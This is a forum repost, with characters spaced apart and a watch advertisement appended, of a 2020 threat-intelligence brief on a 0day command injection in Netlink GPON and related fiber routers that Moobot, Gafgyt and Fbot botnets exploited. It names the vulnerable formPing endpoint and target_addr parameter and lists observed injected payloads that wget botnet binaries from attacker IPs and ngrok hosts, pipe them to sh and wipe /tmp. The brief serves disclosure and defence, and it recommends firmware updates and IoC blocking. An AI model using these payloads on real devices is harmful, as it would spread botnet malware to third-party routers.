搜索

[28271] 2020-04-27_多款光纤路由器设备0day扩展简报

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-04-27_多款光纤路由器设备0day扩展简报 多 款 光 纤 路 由 器 设 备 0 d a y 扩 展 简 报 原 创   马 延 龙 、 金 晔   O t s 安 全   2 0 2 0 - 0 4 - 2 7 这 是 我 们 过 去 3 0 个 月 的 第 3 篇 I o T   0 d a y 漏 洞 文 章 ， 之 前 我 们 还 没 有 披 露 D r a y T e k   R o u t e r 在 野 0 天 漏 洞 分 析 报 告 [   1 ] ， L I L I N   D V R 在 野 0 d a y 漏 洞 分 析 报 告 [   2 ] 。 到 僵 尸 网 络 存 在 相 互 竞 争 获 取 更 多 的 僵 尸 网 络 的 情 况 ， 其 中 一 些 僵 尸 网 络 拥 有 一 些 0 d a y 入 侵 资 源 ， 这 使 它 们 看 起 来 与 众 不 同 。 是 一 个 新 趋 势 。 2 0 2 0 年 2 月 2 8 日 ， 3 6 0   N e t l a b 未 知 威 胁 检 测 系 统 注 意 到 M o o b o t 僵 尸 网 络 [   3 ] 开 始 使 用 一 种 我 们 从 未 见 过 的 新 突 破 （ 多 个 步 骤 ） ， 并 且 可 以 成 功 攻 击 遭 受 的 设 备 。 2 0 2 0 年 3 月 1 7 日 ， 我 们 确 认 此 突 破 为 0 d a y 漏 洞 ， 转 化 结 果 报 告 给 C N C E R T 。 2 0 2 0 年 3 月 1 8 日 ， 利 用 数 据 库 [   4 ] 网 站 发 布 了 N e t l i n k   G P O N 路 由 器 远 程 命 令 执 行 突 破 P o C ， 这 与 我 们 发 现 的 在 野 0 天 冲 突 特 征 一 致 。 但 是 ， 该 P o C 遗 漏 了 关 键 的 一 个 步 骤 ， 因 此 实 际 被 注 入 的 命 令 并 不 能 成 功 执 行 。 2 0 2 0 年 3 月 1 9 日 ， 我 们 与 相 关 厂 商 联 系 ， 被 告 知 设 备 出 厂 初 始 化 都 只 开 放 在 L A N 侧 ， 确 认 存 在 漏 洞 。 2 0 2 0 年 3 月 1 9 日 ， 我 们 注 意 到 一 个 攻 击 者 根 据 公 开 的 P o C 传 播 G a f g y t 僵 尸 网 络 。 在 3 月 2 6 号 ， 该 攻 击 者 将 入 侵 集 成 到 B o t 中 ， 并 进 行 互 联 网 范 围 内 蠕 虫 式 扫 描 幸 运 的 是 ， 该 P o C 遗 漏 了 关 键 的 一 个 步 骤 ， 扫 描 通 常 会 失 败 。 2 0 2 0 年 3 月 2 4 日 ， 我 们 注 意 到 另 一 个 攻 击 者 根 据 公 开 的 P o C 传 播 F b o t 僵 尸 网 络 ， 也 很 快 地 结 束 了 传 播 。 目 前 ， 我 们 已 经 发 现 共 有 9 款 型 号 的 路 由 器 中 存 在 同 样 的 漏 洞 ， 很 可 能 他 们 都 是 同 一 原 始 供 应 商 的 O E M 产 品 。 t a r g e t _ a d d r 命 令 注 入 突 破 分 析 命 令 注 入 突 破 分 析 漏 洞 类 型 ： 需 要 授 权 的 远 程 命 令 执 行 漏 洞 的 原 因 ： 在 设 备 / b i n / b o a W e b 服 务 端 程 序 内 部 ， 存 在 2 个 函 数 f o r m P i n g ( ) 和 f o r m T r a c e r t ( ) 。 它 们 在 处 理 / b o a f o r m / a d m i n / f o r m P i n g P O S T 请 求 时 ， 未 检 查 t a r g e t _ a d d r 参 数 就 调 用 系 统 p i n g 命 令 ， 从 而 导 致 命 令 注 入 。 注 入 命 令 列 表 处 置 建 议 处 置 建 议 我 们 建 议 相 关 运 营 商 检 查 是 否 存 在 拆 分 型 号 设 备 ， 替 代 账 号 密 码 等 问 题 ， 并 更 新 设 备 固 件 系 统 。 我 们 建 议 读 者 对 相 关 域 名 ， 我 们 建 议 读 者 对 相 关 域 名 ， I P 和 和 U R L 进 行 监 控 和 封 锁 进 行 监 控 和 封 锁 。 使 用 我 们 D N S m o n 的 用 户 ， 此 处 涉 及 的 I o C 相 关 域 名 很 早 就 被 自 动 中 断 访 问 。 % 3 B w g e t % 2 0 h t t p : / / 4 5 . 5 8 . 1 4 8 . 5 0 / n % 2 0 - O - | s h % 3 B w g e t % 2 0 h t t p : / / 1 8 5 . 6 1 . 1 3 8 . 4 6 / n % 2 0 - O - | s h % 3 B w g e t % 2 0 h t t p : / / 1 9 4 . 1 8 0 . 2 2 4 . 1 3 / n % 2 0 - O - | s h % 3 B w g e t % 2 0 h t t p : / / 1 9 4 . 1 8 0 . 2 2 4 . 1 1 3 / n % 2 0 - O - | s h ; ' + p a y l o a d + ' % 2 0 / ; c d   / t m p ;   r m   - r f   * ;   b u s y b o x   w g e t   h t t p : / / 5 1 . 2 5 4 . 2 3 . 2 2 7 / b i n s / n ;   c h m o d   7 7 7   n ;   s h   n ;   r m   - r f   *   / ; c d   / t m p ;   r m   - r f   * ;   w g e t   h t t p : / / 5 1 . 2 5 4 . 2 3 . 2 2 7 / b i n s / m i p s ;   c h m o d   7 7 7   m i p s ;   . / m i p s ;   r m   - r f   *   / ; c d   / t m p ;   r m   - r f   * ;   w g e t   h t t p : / / 5 1 . 2 5 4 . 2 3 . 2 2 7 / b i n s / n ;   c h m o d   7 7 7   n ;   s h   n ;   r m   - r f   *   / ; c d   / t m p ;   r m   - r f   * ;   w g e t   h t t p : / / 5 1 . 2 5 4 . 2 3 . 2 2 7 / b i n s / n e t l i n k ;   c h m o d   7 7 7   n e t l i n k ;   . / n e t l i n k   / ; c d   / t m p ;   r m   - r f   * ;   w g e t   h t t p : / / 5 1 . 2 5 4 . 2 3 . 2 2 7 / b i n s / p o l a r i s . m i p s ;   c h m o d   7 7 7   p o l a r i s . m i p s ;   . / p o l a r i s . m i p s   / ; c d   / t m p ;   r m   - r f   * ;   w g e t   h t t p : / / 6 7 3 5 a 5 5 d . n g r o k . i o / b i n s / m i p s ;   c h m o d   7 7 7   m i p s ;   . / m i p s ;   r m   - r f   *   / ; c d   / t m p ;   r m   - r f   * ;   w g e t   h t t p : / / 5 8 6 8 0 d d 9 . n g r o k . i o / b i n s / m i p s ;   c h m o d   7 7 7   m i p s ;   . / m i p s ;   r m   - r f   *   / ; c d   / t m p ;   r m   - r f   * ;   w g e t   h t t p : / / 5 8 6 8 0 d d 9 . n g r o k . i o / b i n s / s h ;   c h m o d   7 7 7   s h ;   s h   s h ;   r m   - r f   *   / ; c d   / t m p ;   r m   - r f   m i p s ;   w g e t   h t t p : / / 1 6 4 . 1 3 2 . 9 2 . 1 6 8 : 6 4 7 9 / b i n s / m i p s ;   b u s y b o x   w g e t   h t t p : / / 1 6 4 . 1 3 2 . 9 2 . 1 6 8 : 6 4 7 9 / b i n s / m i p s ;   c h m o d   7 7 7   m i p s ;   . / m i p s   / ; c d   / t m p ;   r m   - r f   v i k t o r . m i p s ;   w g e t   h t t p : / / 1 6 4 . 1 3 2 . 9 2 . 1 6 8 : 6 4 7 9 / b i n s / v i k t o r . m i p s ;   b u s y b o x   w g e t   h t t p : / / 1 6 4 . 1 3 2 . 9 2 . 1 6 8 : 6 4 7 9 / b i n s / v i k t o r . m i p s ;   c h m o d   7 7 7   v i k t o r . m i p s ;   . / v i k t o r . m i p s   / ; l s   / ; w g e t   h t t p : / / 1 9 4 . 1 8 0 . 2 2 4 . 2 4 9 / b i g n i g g e r ; w g e t   h t t p : / / 1 9 4 . 1 8 0 . 2 2 4 . 2 4 9 / m u c k . s h   - O   -   |   s h
  智 能 智 选 智 能 智 选 , 创 世 先 行 创 世 先 行   天 生 玩 固 天 生 玩 固 , 唯 我 独 行 唯 我 独 行     卡 西 欧 三 眼 系 列 手 表 卡 西 欧 三 眼 系 列 手 表       添 加 下 单 添 加 下 单 （ 售 后 有 保 障 ） （ 售 后 有 保 障 ） 内 容 来 源 ： 浪 人 潮 牌 工 作 室       温 馨 提 示 ： 本 活 动 为 电 商 推 广 详 情 咨 询 微 信 客 服 ▼

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理